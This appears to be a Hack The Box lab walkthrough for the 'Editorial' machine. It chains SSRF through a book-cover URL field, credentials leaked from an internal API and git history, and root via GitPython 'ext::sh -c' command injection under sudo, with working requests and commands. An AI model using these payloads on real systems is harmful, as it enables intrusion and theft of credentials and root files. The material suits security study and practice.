

Editorial

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The IP of the Machine for me is : 10.10.11.20

```
(pks☺Kali)-[~/HacktheBox/Editorial]
$ ping 10.10.11.20 -c 5
PING 10.10.11.20 (10.10.11.20) 56(84) bytes of data.
64 bytes from 10.10.11.20: icmp_seq=1 ttl=63 time=499 ms
64 bytes from 10.10.11.20: icmp_seq=2 ttl=63 time=2183 ms
64 bytes from 10.10.11.20: icmp_seq=3 ttl=63 time=1245 ms
64 bytes from 10.10.11.20: icmp_seq=4 ttl=63 time=221 ms
64 bytes from 10.10.11.20: icmp_seq=5 ttl=63 time=386 ms

--- 10.10.11.20 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4034ms
rtt min/avg/max/mdev = 221.077/906.902/2183.483/728.277 ms, pipe 3

(pks☺Kali)-[~/HacktheBox/Editorial]
$
```

Alright its online!!

Port Scanning :

All Port Scan :

```
nmap -p- -n -Pn -T5 --min-rate=10000 10.10.11.20 -o allPortScan.txt
```

```
(pks@Kali)-[~/HacktheBox/Editorial]
$ nmap -p- -n -Pn -T5 --min-rate=10000 10.10.11.20 -o allPortScan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 22:31 IST
Warning: 10.10.11.20 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.20
Host is up (0.071s latency).
Not shown: 60841 filtered tcp ports (no-response), 4692 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 19.30 seconds
```

Open ports

```
PORT STATE SERVICE
22/tcp open  ssh
80/tcp open  http
```

Lets try an Aggressive Scan on these

Deeper Scan :

```
nmap -sC -sV -A -T5 -p 22,80 10.10.11.20 -o aggressiveScan.txt
```

```
(pks@Kali)-[~/HacktheBox/Editorial]
$ nmap -sC -sV -A -T5 -p 22,80 10.10.11.20 -o aggressiveScan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-14 22:33 IST
Nmap scan report for 10.10.11.20
Host is up (0.52s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_  256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp    open  http     nginx 1.18.0 (Ubuntu)
|_ http-title: Did not follow redirect to http://editorial.htb
|_ http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Aggressive scan

```
PORT STATE SERVICE VERSION
22/tcp open  ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux;
protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Its redirecting to editorial.htb lets add that in /etc/hosts

```
127.0.0.1      localhost
127.0.1.1      Kali.pks          Kali

# The following lines are desirable for IPv6 capable hosts
::1           localhost ip6-localhost ip6-loopback
ff02::1       ip6-allnodes
ff02::2       ip6-allrouters

10.10.222.68   whoismrrobot.com
10.10.194.126  publisher.thm
10.10.188.224  mkingdom1.thm
10.10.237.244  enum.thm
10.10.11.23    permx.htb          www.permx.htb    lms.permx.htb
192.168.110.76 symfonos.local
10.10.59.4     creative.thm       beta.creative.thm
10.10.11.20    editorial.htb
```

Lets try directory fuzzing next

Directory Fuzzing

```
gobuster dir -u editorial.htb -w /usr/share/wordlists/dirb/common.txt -t 20
-o directories.txt
```

```
(pks@Kali)-[~/HacktheBox/Editorial]
$ gobuster dir -u editorial.htb -w /usr/share/wordlists/dirb/common.txt -t 20 -o directories.txt
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://editorial.htb
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
/about (Status: 200) [Size: 2939]
/upload (Status: 200) [Size: 7140]
Progress: 4614 / 4615 (99.98%)
=====
Finished
=====
```

Directories

```
/about (Status: 200) [Size: 2939]
/upload (Status: 200) [Size: 7140]
```

Lets get this web application under way

Web Application



Nothing in the source code as well lets see /about page now



Nothing here too lets try that /upload page

A screenshot of a web browser showing the 'editorial.htb/upload' page. The browser's address bar and tabs are visible at the top. The page has a dark blue header with navigation links: 'Home', 'Publish with us', and 'About'. A search bar is located on the right side of the header. The main content area features a light blue background with the text 'Editorial Tiempo Arriba' in a large, bold, white font. Below this, a message states: 'Our editorial will be happy to publish your book. Please provide next information to meet you.' The page contains several form fields for book information: a 'Book name' field, a 'Cover URL related to your book or' field with a 'Browse...' button and a 'No file selected.' message, a 'Preview' button, a 'Tell us about your book' text area, a 'Why did you choose this publisher?' text area, and a 'Contact Email' field.

page to upload files interesting

also the more important thing is this preview thing it might indicate a SSRF

Lets capture a preview request (Im gonna use caido u can use burp here to but step forward might take a lot of time for burp to do so your choice)

First i made this file

```
(pks☺Kali) - [~/HacktheBox/Editorial]
$ echo "this is not a test" > test.txt

(pks☺Kali) - [~/HacktheBox/Editorial]
$ █
```

Now fill the cover url and upload this file there and hit the preview button make sure u have proxy for your burp or caido enabled to see it in the http history

Book information

test

Browse... test.txt

Preview

Book name

hit the preview button (nothing will happen dont worry)

| | | | | |
|--|--|------|---------------|---|
| 1 | editorial.htb:80 | POST | /upload-cover | 200 |
| Applied: 1XX 2XX 3XX 4XX 5XX Other Presets | | | | |
| http://editorial.htb | | | Response | |
| 1 | POST /upload-cover HTTP/1.1 | | | 1 HTTP/1.1 200 OK |
| 2 | Host: editorial.htb | | | 2 Server: nginx/1.18.0 (Ubuntu) |
| 3 | User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 | | | 3 Date: Wed, 14 Aug 2024 17:16:11 GMT |
| 4 | Accept: */* | | | 4 Content-Type: text/html; charset=utf-8 |
| 5 | Accept-Language: en-US,en;q=0.5 | | | 5 Connection: keep-alive |
| 6 | Accept-Encoding: gzip, deflate | | | 6 Content-Length: 61 |
| 7 | Content-Type: multipart/form-data; boundary=-----293063797036329784672172638051 | | | 7 |
| 8 | Content-Length: 360 | | | 8 /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg |
| 9 | Origin: http://editorial.htb | | | |
| 10 | Connection: keep-alive | | | |
| 11 | Referer: http://editorial.htb/upload | | | |
| 12 | | | | |
| 13 | -----293063797036329784672172638051 | | | |
| 14 | Content-Disposition: form-data; name="bookurl" | | | |

A post request here and the format is like this

http://editorial.htb

```
1  POST /upload-cover HTTP/1.1
2  Host: editorial.htb
3  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
   Gecko/20100101 Firefox/115.0
4  Accept: */*
5  Accept-Language: en-US,en;q=0.5
6  Accept-Encoding: gzip, deflate
7  Content-Type: multipart/form-data;
   boundary=-----
   293063797036329784672172638051
8  Content-Length: 360
9  Origin: http://editorial.htb
10 Connection: keep-alive
11 Referer: http://editorial.htb/upload
12
13 -----293063797036329784672172638051
14 Content-Disposition: form-data; name="bookurl"
15
16 test
17 -----293063797036329784672172638051
18 Content-Disposition: form-data; name="bookfile";
   filename="test.txt"
19 Content-Type: text/plain
20
21 this is not a test
22 -----293063797036329784672172638051--
```

and we get this response

Response



```
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Wed, 14 Aug 2024 17:16:11 GMT
4 Content-Type: text/html; charset=utf-8
5 Connection: keep-alive
6 Content-Length: 61
7
8 /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
```

it shows a image directory location

Lets try localhost instead of "test" in bookurl

| Request | Response |
|---|---|
| 293063797036329784672172638051 | 1 HTTP/1.1 200 OK |
| 8 Content-Length: 360 | 2 Server: nginx/1.18.0 (Ubuntu) |
| 9 Origin: http://editorial.htb | 3 Date: Wed, 14 Aug 2024 17:22:19 GMT |
| 10 Connection: keep-alive | 4 Content-Type: text/html; charset=utf-8 |
| 11 Referer: http://editorial.htb/upload | 5 Connection: keep-alive |
| 12 | 6 Content-Length: 61 |
| 13 -----293063797036329784672172638051 | 7 |
| 14 Content-Disposition: form-data; name="bookurl" | 8 /static/images |
| 15 | /unsplash_photo_1630734277837_ebe62757b6e0.jpeg |
| 16 http://127.0.0.1/ | |
| 17 -----293063797036329784672172638051 | |
| 18 Content-Disposition: form-data; name="bookfile"; filename="test.txt" | |
| 19 Content-Type: text/plain | |

Again that image directory it might have another port open to interact with the api we can brute force this by testing the response length for 1-65535 (all ports)

For this I made a script to generate all port number in sequence and save to a file we can use in as a list

here is the script

```
#include <stdio.h>

int main() {
    FILE *file = fopen("ports.txt", "w");
```

```

    if (file == NULL) {
        perror("Error opening file");
        return 1;
    }
    // Buffer to store all port numbers in one go
    char buffer[65536 * 6]; // 65536 numbers, each up to 5 digits + newline
    char *ptr = buffer;
    for (int i = 1; i ≤ 65536; i++) {
        ptr += sprintf(ptr, "%d\n", i);
    }
    // Write the entire buffer to the file in one go
    fwrite(buffer, ptr - buffer, 1, file);
    fclose(file);
    printf("File 'ports.txt' has been generated with port numbers from 1 to
65536.\n");

    return 0;
}

```

Lets run it to generate a file called ports.txt

```

└─(pks☺Kali)-[~/HacktheBox/Editorial]
└─$ gcc portnumgen.c -o portGen

└─(pks☺Kali)-[~/HacktheBox/Editorial]
└─$ ./portGen
File 'ports.txt' has been generated with port numbers from 1 to 65536.

```

It should just complete it in less than 10ms i wrote this this way

There it is

```

└─(pks☺Kali)-[~/HacktheBox/Editorial]
└─$ ls
aggressiveScan.txt  allPortScan.txt  directories.txt  portGen  portnumgen.c  ports.txt  test.txt

```

select this file in whatever u are using

http://editorial.htb

All

Run

Request

Clear

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4 Accept: */*

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Content-Type: multipart/form-data;
boundary=-----293063797036329784672172638051

8 Content-Length: 360

9 Origin: http://editorial.htb

10 Connection: keep-alive

11 Referer: http://editorial.htb/upload

12

13 -----293063797036329784672172638051

14 Content-Disposition: form-data; name="bookurl"

15

16 http://127.0.0.1/

17 -----293063797036329784672172638051

18 Content-Disposition: form-data; name="bookfile";
filename="test.txt"

19 Content-Type: text/plain

20

21 this is not a test

22 -----293063797036329784672172638051--

23

Payload

Preprocessors

Settings

Payload #

Placeholder

1

(empty)

Type

Simple List

1 1

2 2

3 3

4 4

5 5

6 6

7 7

8 8

9 9

10 10

11 11

Load from file...

⚠ Warning

Burp Community Edition might be very slow and will take hours to complete

For this pls use Caído (Its Free) or If u can Burp Professional (Paid)

Increase the number of workers too if u want

On port 5000 we notice the length is different lets send a request to it

I sent this POST Request :

http://editorial.htb

```
1  POST /upload-cover HTTP/1.1
2  Host: editorial.htb
3  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4  Accept: */*
5  Accept-Language: en-US,en;q=0.5
6  Accept-Encoding: gzip, deflate
7  Content-Type: multipart/form-data; boundary=-----
  35966142145028374641562820936
8  Content-Length: 374
9  Origin: http://editorial.htb
10 Connection: keep-alive
11 Referer: http://editorial.htb/upload
12
13 -----35966142145028374641562820936
14 Content-Disposition: form-data; name="bookurl"
15
16 http://127.0.0.1:5000
17 -----35966142145028374641562820936
18 Content-Disposition: form-data; name="bookfile"; filename="test.txt"
19 Content-Type: text/plain
20
21 this is not a test
22 -----35966142145028374641562820936--
23
```

and we get another GET request i didnt send it just happens on its own
i sent the 12 one here the 13 one happened on its own

| ID | Host | Method | Path | Query |
|----|------------------|--------|-------------------------------|-------|
| 13 | editorial.htb:80 | GET | /static/uploads/43c927f5-8... | |
| 12 | editorial.htb:80 | POST | /upload-cover | |
| 8 | editorial.htb:80 | GET | /upload | |
| 2 | editorial.htb:80 | GET | / | |
| 1 | 127.0.0.1:8080 | GET | /ws/graphql | |
| | | | | |

Different result here

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Thu, 15 Aug 2024 04:01:27 GMT
4 Content-Type: application/octet-stream
5 Content-Length: 911
6 Connection: keep-alive
7 Content-Disposition: inline; filename=43c927f5-8e56-42d3-abaf-9d14ab364a57
8 Last-Modified: Thu, 15 Aug 2024 04:01:26 GMT
9 Cache-Control: no-cache
10 ETag: "1723694486.3090956-911-4059306104"
11
12 {
13   "messages": [{
14     "promotions": {
15       "description": "Retrieve a list of all the promotions in our library.",
16       "endpoint": "/api/latest/metadata/messages/promos",
17       "methods": "GET"
18     }
19   }, {
20     "coupons": {
21       "description": "Retrieve the list of coupons to use in our library.",
22       "endpoint": "/api/latest/metadata/messages/coupons",
23       "methods": "GET"
24     }
25   }, {
26     "new_authors": {
27       "description": "Retrieve the welcome message sent to our new authors.",
28       "endpoint": "/api/latest/metadata/messages/authors",
29       "methods": "GET"
30     }
31   }, {
32     "platform_use": {
```

Looks like json data or a API response here

- So now we can send request to API endpoint on this 5000 port

Lets send this `/api/latest/metadata/messages/authors` request next

Request

Clear

—

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1 POST /upload-cover HTTP/1.1

2 Host: editorial.htb

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

4 Accept: */*

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Content-Type: multipart/form-data; boundary=-----35966142145028374641562820936

8 Content-Length: 374

9 Origin: http://editorial.htb

10 Connection: keep-alive

11 Referer: http://editorial.htb/upload

12

13 -----35966142145028374641562820936

14 Content-Disposition: form-data; name="bookurl"

15

16 http://127.0.0.1:5000/api/latest/metadata/messages/authors

17 -----35966142145028374641562820936

18 Content-Disposition: form-data; name="bookfile"; filename="test.txt"

19 Content-Type: text/plain

20

21 this is not a test

22 -----35966142145028374641562820936--

23

1 HTTP/1.1 200 OK

2 Server: nginx/1.18.0 (Ubuntu)

3 Date: Thu, 15 Aug 2024 04:07:46 GMT

4 Content-Type: text/html; charset=utf-8

5 Connection: keep-alive

6 Content-Length: 51

7

8 static/uploads/fdf1d815-2ff1-4037-a743-e79bc0054a63

I sent but remember the result is in the next GET Request

Ok so if u dont get a GET request then go on the website then put this URL there it will work that way as well

I did the above step and it worked for me

| | | | |
|----|------------------|------|-------------------------------|
| | | | |
| 15 | editorial.htb:80 | GET | /static/uploads/b94366ce-1... |
| 14 | editorial.htb:80 | POST | /upload-cover |

Response



```
1  HTTP/1.1 200 OK
2  Server: nginx/1.18.0 (Ubuntu)
3  Date: Thu, 15 Aug 2024 04:09:37 GMT
4  Content-Type: application/octet-stream
5  Content-Length: 506
6  Connection: keep-alive
7  Content-Disposition: inline; filename=b94366ce-114e-43e8-9630-f52dee5ddeb4
8  Last-Modified: Thu, 15 Aug 2024 04:09:37 GMT
9  Cache-Control: no-cache
10 ETag: "1723694977.445114-506-4019198125"
11
12 {
13   "template_mail_message": "Welcome to the team! We are thrilled to have you on
board and can't wait to see the incredible content you'll bring to the table.\n\nYour
login credentials for our internal forum and authors site are:\nUsername:
dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as
possible for security purposes.\n\nDon't hesitate to reach out if you have any
questions or ideas - we're always here to support you.\n\nBest regards, Editorial
Tiempo Arriba Team."
14 }
```

Creds found

Username : dev

Password : dev080217_devAPI!@

Lets SSH in the machine

```
Last login: Thu Aug 15 03:53:11 2024 from 10.10.14.23
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)
dev@editorial:~$ █
```

and we get access

here is the user.txt


```
dev@editorial:~$ ls
apps  linpeas.sh  user.txt
dev@editorial:~$
```

Lateral PrivEsc

So now inside this apps folder

```
dev@editorial:~/apps$ ls -al
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 5 dev dev 4096 Aug 15 04:10 ..
drwxr-xr-x 8 dev dev 4096 Jun  5 14:36 .git
dev@editorial:~/apps$
```

lets check the git log

i found this one lets go to this

```
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
      faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
.
```

Switch to this using git checkout

```
D      app_editorial/templates/upload.html
```

```
Note: switching to '1e84a036b2f33c59e2390730699a488c65643d28'.
```

You are in 'detached HEAD' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by switching back to a branch.

If you want to create a new branch to retain commits you create, you may do so (now or later) by using `-c` with the switch command. Example:

```
git switch -c <new-branch-name>
```

Or undo this operation with:

```
git switch -
```

Turn off this advice by setting config variable `advice.detachedHead` to false

```
HEAD is now at 1e84a03 feat: create api to editorial info
```

```
dev@editorial:~/apps$
```

we have this

```
dev@editorial:~/apps$ ls
app_api  app_editorial
dev@editorial:~/apps$
```

and we have this `app.py`

```
dev@editorial:~/apps$ cd app_api/
dev@editorial:~/apps/app_api$ ls
app.py
```

cat this file to find another set of creds

```
# -- : (development) mail message to new authors
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
    return jsonify({
        'template_mail_message': "Welcome to the team! We are thrilled
incredible content you'll bring to the table.\n\nYour login credentials:
Username: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to c
urity purposes.\n\nDon't hesitate to reach out if you have any question
n\nBest regards, " + api_editorial_name + " Team."
    }) # TODO: replace dev credentials when checks pass

# -----
```

 Creds found

```
Username: prod
Password: 080217_Producti0n_2023!@
```

lets try sshing in using this creds

and we can

```
prod@editorial:~$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
```

Vertical PrivEsc

Now lets check the sudo permissions

```
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
```

if u look at this file this is running GitPython some version lets check what it is using `pip3 list`

```
prod@editorial:~$ pip3 list | grep Git
GitPython 3.1.29
prod@editorial:~$
```

Lets looks exploit for this

found this



Lets try running this

i ran this

```
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py
'ext::sh -c touch% /tmp/pwned'
```

```
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/
pwned'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/pwned new_changes
  stderr: 'Cloning into 'new_changes'...'
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
```

lets check the permission of this file

```
prod@editorial:~$ ls -al /tmp/pwned
-rw-r--r-- 1 root root 0 Aug 15 04:27 /tmp/pwned
prod@editorial:~$
```

Ok we can make file with root to exploit this we are gonna copy the root.txt to a file so we can read it for the final flag

```
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py
'ext::sh -c cat% /root/root.txt% >% /tmp/root'
```

and you could just read this to get the root.txt

```
prod@editorial:~$ ls -al /tmp/root
-rw-r--r-- 1 root root 33 Aug 15 04:30 /tmp/root
ls -l /tmp/root
-rw-r--r-- 1 root root 33 Aug 15 04:30 /tmp/root
```

Thanks for reading :)